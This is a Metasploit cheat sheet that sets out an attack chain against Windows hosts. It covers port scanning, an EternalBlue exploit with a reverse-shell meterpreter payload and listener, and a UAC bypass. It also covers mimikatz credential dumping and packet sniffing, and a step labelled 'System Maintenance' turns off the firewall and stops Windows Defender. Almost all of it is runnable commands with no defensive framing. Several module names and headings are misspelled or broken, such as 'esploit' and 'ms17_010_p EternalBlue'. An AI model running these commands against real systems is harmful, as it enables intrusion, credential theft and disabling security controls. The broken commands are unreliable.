MSF Module Structure

Metasploit Framework's default module directory path:

/usr/share/metasploit-framework/modules/

Framework Components

• Auxiliaries: Information gathering modules (scanners, fingerprinters)
• Exploits: Vulnerability attack implementations
• Payloads: Post-exploitation code execution mechanisms
• Encoders: Anti-virus evasion tools
• Post: Post-compromise modules

Basic Workflow

1. Information gathering through scanning
2. Exploit selection and configuration
3. Payload creation and encoding
4. Execution and post-exploitation

Scanning Techniques

TCP Port Scanning

msf6 > use auxiliary/scanner/portscan/tcp
msf6 > set RHOSTS 192.168.1.10-20
msf6 > set PORTS 1-1000
msf6 > set THREADS 50
msf6 > run

Service Detection

msf6 > use auxiliary/scanner/smb/smb_version
msf6 > set RHOSTS 192.168.1.15
msf6 > run

Exploitation Example

EternalBlue SMB Vulnerability

msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 > set RHOSTS 192.168.1.10
msf6 > run

msf6 > use exploit/windows/smb/ms17_010_p EternalBlue
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set RHOSTS 192.168.1.10
msf6 > set LHOST 192.168.1.5
msf6 > exploit

Post-Exploitation

Meterprteer Features

• Memory-resident operation
• Encrypted C2 communication
• Process migration capabilities
• Cross-platform support

Common Commands

meterpreter > sysinfo
meterpreter > getuid
meterpreter > ps
meterpreter > migrate [PID]
meterpreter > run post/windows/gather/enum_drives

Privilege Escalation

UAC Bypass

meterpreter > use esploit/windows/local/bypassuac
meterpreter > set SESSION [session_id]
meterpreter > exploit
meterpreter > getuid

Network Perisstence

Reverse TCP Payload

msf6 > use exploit/multi/handler
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 0.0.0.0
msf6 > set LPORT 4444
msf6 > run -j

Credential Management

Hash Extraction

meterpreter > load mimikatz
meterpreter > msv
meterpreter > kerberos
meterpreter > wdigest

Network Sniffing

meterpreter > load sniffer
meterpreter > sniffer_interfaces
meterpreter > sniffer_start 2
meterpreter > sniffer_dump 2 capture.pcap

System Maintenance

meterpreter > shell
C:\> netsh advfirewall set allprofiles state off
C:\> sc stop windefend